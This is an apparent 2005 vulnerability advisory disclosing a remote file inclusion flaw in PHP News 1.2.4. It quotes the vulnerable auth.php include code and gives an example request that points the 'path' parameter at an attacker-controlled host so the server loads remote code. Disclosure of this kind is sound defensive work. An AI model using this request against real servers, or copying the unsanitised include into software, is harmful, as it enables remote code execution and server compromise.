PHP News <= 1.2.4 - Remote File Inclusion (VXSfx)

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Name: PHP News
Version: 1.2.4 (and possibly 1.2.3)
Homepage: http://newsphp.sourceforge.net/

Author: Filip Groszynski (VXSfx)
Date: 23 February 2005
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Vulnerable code in auth.php:

if (is_Array($userDetails)) {
…
}
/* You're about to log in/no user language is specified */
else if(file_exists($path . 'languages/' . $lang . '.admin.lng')) {
include_once($path . 'languages/' . $lang . '.admin.lng');
…
} else {
include_once($path . 'languages/en_GB.admin.lng');
…
}

Example:

if register_globals=on and allow_url_fopen=on:
http://[victim]/[dir]/auth.php?path=http://[hacker_box]/

Fix and Vendor status:

Vendor has been notified, expect an official patch tomorrow.

Contact:

Author:    Filip Groszynski   (VXSfx)
Location:  Poland <Warsaw>
Email:     groszynskif <at> gmail <dot> com
HP:        http://shell.homeunix.org

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